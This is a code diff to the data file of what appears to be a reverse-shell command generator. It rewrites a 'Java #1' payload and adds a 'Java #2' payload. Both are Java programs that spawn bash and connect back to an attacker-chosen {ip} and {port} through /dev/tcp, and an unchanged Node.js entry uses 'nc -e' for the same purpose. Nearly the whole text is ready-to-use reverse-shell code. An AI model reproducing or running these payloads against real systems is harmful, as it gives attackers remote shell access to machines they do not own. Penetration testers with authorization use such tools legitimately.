diff --git a/js/data.js b/js/data.js index a786447..8420a63 100644 --- a/js/data.js +++ b/js/data.js @@ -248,9 +248,14 @@ const reverseShellCommands = withCommandType( "command": "require('child_process').exec('nc -e {shell} {ip} {port}')", "meta": ["linux", "mac"] }, - { + { "name": "Java #1", - "command": "import java.io.BufferedReader;\nimport java.io.InputStreamReader;\n\npublic class shell {\n public static void main(String args[]) {\n String s;\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", + "command": "public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", + "meta": ["linux", "mac"] + }, + { + "name": "Java #2", + "command": "public class shell {\n public static void main(String[] args) {\n ProcessBuilder pb = new ProcessBuilder(\"bash\", \"-c\", \"$@| bash -i >& /dev/tcp/{ip}/{port} 0>&1\")\n .redirectErrorStream(true);\n try {\n Process p = pb.start();\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", "meta": ["linux", "mac"] }, {